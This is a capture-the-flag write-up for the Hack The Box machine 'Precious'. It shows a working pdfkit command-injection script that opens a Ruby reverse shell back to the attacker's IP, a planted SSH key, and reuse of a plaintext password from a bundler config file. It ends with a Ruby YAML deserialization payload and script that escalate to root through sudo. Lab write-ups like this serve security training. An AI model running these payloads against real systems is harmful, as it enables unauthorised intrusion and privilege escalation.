HTB - Precious

Category: Machines
Difficulty: Easy
Description: -

Enumeration

First of all I started with a basic nmap enumeration to discover which ports are open:

$ sudo nmap 10.10.11.189 -sS -p- -n -Pn --disable-arp-ping -oA quick_full_scan
Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-19 15:28 CET
Nmap scan report for 10.10.11.189
Host is up (0.060s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 19.47 seconds

It cames out that the target has a webserver running on port 80.

Web Footprinting

If we try to reach it through the browser, we will be redirected to its domain: precious.htb. So before going on let’s add this to the /etc/hosts file. After doing that if we visit the site this is what we will find: A page with an input box and the text "Convert Web Page to PDF\nEnter URL to fetch" The HTML code doesn’t contains anything new:

<!DOCTYPE html>
<html>
<head>
    <title>Convert Web Page to PDF</title>
    <link rel="stylesheet" href="stylesheets/style.css">
</head>
<body>
    <div class="wrapper">
        <h1 class="title">Convert Web Page to PDF</h1>
        <form action="/" method="post">
            <p>Enter URL to fetch</p><br>
            <input type="text" name="url" value="">
            <input type="submit" value="Submit">
        </form>
        <h2 class="msg"></h2>
    </div> 
</body>
</html>

Furthermore the site doesn’t make use of any cookies, and a common gobuster scan doesn’t find any additional page:

$ gobuster dir -u http://precious.htb/ -w /usr/share/seclists/Discovery/Web-Content/common.txt
===============================================================
Gobuster v3.4
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://precious.htb/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.4
[+] Timeout:                 10s
===============================================================
2023/01/19 15:45:37 Starting gobuster in directory enumeration mode
===============================================================

===============================================================
2023/01/19 15:46:11 Finished
===============================================================

Ok, so let’s try to scan the site and see if we can find the name of some technology:

$ whatweb http://precious.htb/
http://precious.htb/ [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[nginx/1.18.0 + Phusion Passenger(R) 6.0.15], IP[10.10.11.189], Ruby-on-Rails, Title[Convert Web Page to PDF], UncommonHeaders[x-content-type-options], X-Frame-Options[SAMEORIGIN], X-Powered-By[Phusion Passenger(R) 6.0.15], X-XSS-Protection[1; mode=block], nginx[1.18.0]

From the output of the command above we can see that the server is using Ruby-on-Rails, which is is server-side web application framework written in ruby.

Ok, now it’s time to try using this site. To do so we can create a local webserver listening on the port 8080 with the command python3 -m http.server 8080. After that, if we try to submit as url our ip address, we receive the pdf: PDF with the content of our local server. Nothing special. We can use a tool called exiftool to analyze the metadata of the file:

$ exiftool r97u34hw5j14p2rfbwvwqgstmefcbm7r.pdf 
ExifTool Version Number         : 12.52
File Name                       : r97u34hw5j14p2rfbwvwqgstmefcbm7r.pdf
Directory                       : .
File Size                       : 11 kB
File Modification Date/Time     : 2023:01:19 16:48:32+01:00
File Access Date/Time           : 2023:01:19 16:48:32+01:00
File Inode Change Date/Time     : 2023:01:19 16:48:32+01:00
File Permissions                : -rw-r--r--
File Type                       : PDF
File Type Extension             : pdf
MIME Type                       : application/pdf
PDF Version                     : 1.4
Linearized                      : No
Page Count                      : 1
Creator                         : Generated by pdfkit v0.8.6

If we take a closer look at this output we can see in the last line that the pdf was generated using pdfkit version 0.8.6. With a quick online research I found this PoC that taks about a command injection vulnerability present in our pdfkit’s version (more precisely the CVE-2022-25765).

Foothold

Following the PoC that we found previously, we can write a simple python script that allow us to gain a reverse shell:

#!/usr/bin/env python3

import requests
import subprocess


TARGET_URL = "http://precious.htb/"
REV_SHELL_LOCAL_PORT = 9000
LOCAL_IP_ADDRESS = "10.10.16.7"


def command_injection(target_url: str, url_to_pdf: str, cmd: str) -> str:
    payload = f"{url_to_pdf}?name=%20`{cmd}`"
    
    response = requests.post(target_url, data={
        "url": payload
    })

    return response.text


def reverse_shell(url: str, ip: str, port: int) -> None:
    webserver_proc = subprocess.Popen(["python3", "-m", "http.server"], shell=False, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
    
    cmd = f"ruby -rsocket -e'spawn(\"sh\",[:in,:out,:err]=>TCPSocket.new(\"{ip}\",{port}))'"

    command_injection(url, f"http://{ip}:8080/", cmd)

    webserver_proc.kill()
    

def main():
    reverse_shell(TARGET_URL, LOCAL_IP_ADDRESS, REV_SHELL_LOCAL_PORT)


if __name__ == "__main__":
    main()

Pivoting Part 1

SSH Access

We spawned a shell in the victim server as the user ruby in the directory /var/www/pdfapp. Browsing to the home directory of the user and listing it we can see that it has a .ssh folder. Looking inside we can see that there is the authorized_keys file, so we can generate a new pair of public/private keys and add the public one to that file in order not to rely on the command injection vulnerability. In this way we can obtain a full working interactive shell!

So, on our local machine we can run:

$ ssh-keygen                      
Generating public/private rsa key pair.
Enter file in which to save the key (/home/pozzi/.ssh/id_rsa): precious
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in precious
Your public key has been saved in precious.pub
The key fingerprint is:
SHA256:oWVwmuRZREVkvZ3uERdaGYhvA2oQVo6QYS9FA8cToW8 pozzi@kali
The key's randomart image is:
+---[RSA 3072]----+
|     =O%X==.. ..o|
|    .+B@+. o.. + |
|     o=o*.. ooo..|
|      o+ +  .=+ .|
|      .ES   ...o |
|      .       o  |
|             . . |
|              .  |
|                 |
+----[SHA256]-----+

And then we can copy and paste the content of our generated precious.pub public key file inside the authorized_users file of the target machine. Finally we can log in with:

$ ssh ruby@precious.htb -i ./precious            
The authenticity of host 'precious.htb (10.10.11.189)' can't be established.
ED25519 key fingerprint is SHA256:1WpIxI8qwKmYSRdGtCjweUByFzcn0MSpKgv+AwWRLkU.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'precious.htb' (ED25519) to the list of known hosts.
Linux precious 5.10.0-19-amd64 #1 SMP Debian 5.10.149-2 (2022-10-21) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Jan 19 12:32:36 2023 from 10.10.14.132
-bash-5.1$

Information Gathering

Let’s take a closer look at the content of the home directory of ruby:

$ ls -al ~
total 36
drwxr-xr-x 6 ruby ruby 4096 Jan 19 12:12 .
drwxr-xr-x 4 root root 4096 Oct 26 08:28 ..
lrwxrwxrwx 1 root root    9 Oct 26 07:53 .bash_history -> /dev/null
-rw-r--r-- 1 ruby ruby  220 Mar 27  2022 .bash_logout
-rw-r--r-- 1 ruby ruby 3526 Mar 27  2022 .bashrc
dr-xr-xr-x 2 root ruby 4096 Oct 26 08:28 .bundle
drwxr-xr-x 3 ruby ruby 4096 Jan 19 11:51 .cache
drwx------ 3 ruby ruby 4096 Jan 19 13:00 .gnupg
-rw-r--r-- 1 ruby ruby  807 Mar 27  2022 .profile
drwx------ 2 ruby ruby 4096 Jan 19 12:09 .ssh

We can see that there is an directory called .bundle. Let’s see what it contains:

$ ls -al .bundle/
total 12
dr-xr-xr-x 2 root ruby 4096 Oct 26 08:28 .
drwxr-xr-x 6 ruby ruby 4096 Jan 19 12:12 ..
-r-xr-xr-x 1 root ruby   62 Sep 26 05:04 config

$ cat .bundle/config 
---
BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:Q3c1AqGHtoI0aXAYFH"

Those look like account credentials! 🎉

Privilege Escalation to henry

All we need to do is just login with the credentials that we just found:

$ ssh henry@precious.htb         
henry@precious.htb's password: 
Linux precious 5.10.0-19-amd64 #1 SMP Debian 5.10.149-2 (2022-10-21) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Jan 19 12:53:27 2023 from 10.10.16.47
-bash-5.1$

Pivoting Part 2

Let’s see what the home directory of henry contains:

$ ls -al ~
total 32
drwxr-xr-x 3 henry henry 4096 Jan 19 12:06 .
drwxr-xr-x 4 root  root  4096 Oct 26 08:28 ..
lrwxrwxrwx 1 root  root     9 Sep 26 05:04 .bash_history -> /dev/null
-rw-r--r-- 1 henry henry  220 Sep 26 04:40 .bash_logout
-rw-r--r-- 1 henry henry 3526 Sep 26 04:40 .bashrc
drwxr-xr-x 3 henry henry 4096 Jan 19 12:02 .local
-rw-r--r-- 1 henry henry  807 Sep 26 04:40 .profile
-rw-r----- 1 root  henry   33 Jan 19 11:50 user.txt

Finally the user flag!

Now, we can take a look at what sudo actions henry is able to perform:

$ sudo -l
Matching Defaults entries for henry on precious:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User henry may run the following commands on precious:
    (root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb

Interesting! We can run the command /usr/bin/ruby /opt/update_dependencies.rb with root privileges and without the need to supply a password. This is the content of the file /opt/update_dependencies.rb:

# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'

# TODO: update versions automatically
def update_gems()
end

def list_from_file
    YAML.load(File.read("dependencies.yml"))
end

def list_local_gems
    Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end

gems_file = list_from_file
gems_local = list_local_gems

gems_file.each do |file_name, file_version|
    gems_local.each do |local_name, local_version|
        if(file_name == local_name)
            if(file_version != local_version)
                puts "Installed version differs from the one specified in file: " + local_name
            else
                puts "Installed version is equals to the one specified in file: " + local_name
            end
        end
    end
end

We can see that the script loads a YAML file called dependencies.yml, but without providing a full path. After a quick research I found this article that describes how it is possible to obtain RCE from a ruby dependency file. But this is valid only for versions between 2.x and 3.0.2. Before going on let’s see what version of ruby is installed in the target machine:

$ ruby --version
ruby 2.7.4p191 (2021-07-07 revision a21a3b7d23) [x86_64-linux-gnu]

Nice, the version is vulnerable!!!

Privilege Escalation to root

Following the previous article we can craft our own dependency file:

---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: /bin/bash
         method_id: :resolve

and place the command we want to execute in git_set, and finally launch the command sudo /usr/bin/ruby /opt/update_dependencies.rb. We can automatize everything with the following python script:

#!/usr/bin/env python3

import os


def rce(cmd: str) -> None:
    depenency_file_content = f"""---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: {cmd}
         method_id: :resolve"""
         
    with open("dependencies.yml", "w") as f:
        f.write(depenency_file_content)
        
    os.execvp("sudo", ["sudo", "/usr/bin/ruby", "/opt/update_dependencies.rb"])


def escalate() -> None:
    rce("/bin/bash")
    

def main():
    escalate()


if __name__ == "__main__":
    main()

In order to obtain it in the target machine we can create a local server in our local machine with the command python3 -m http.service 8080 and then download it with curl in this way: curl 'http://10.10.16.7:8080/privesc.py' -O. Then in order to run it:

$ chmod +x privesc.py 
$ ./privesc.py 
[sudo] password for henry: 
sh: 1: reading: not found
root@precious:/tmp/p0zz1w4rr10r# id
uid=0(root) gid=0(root) groups=0(root)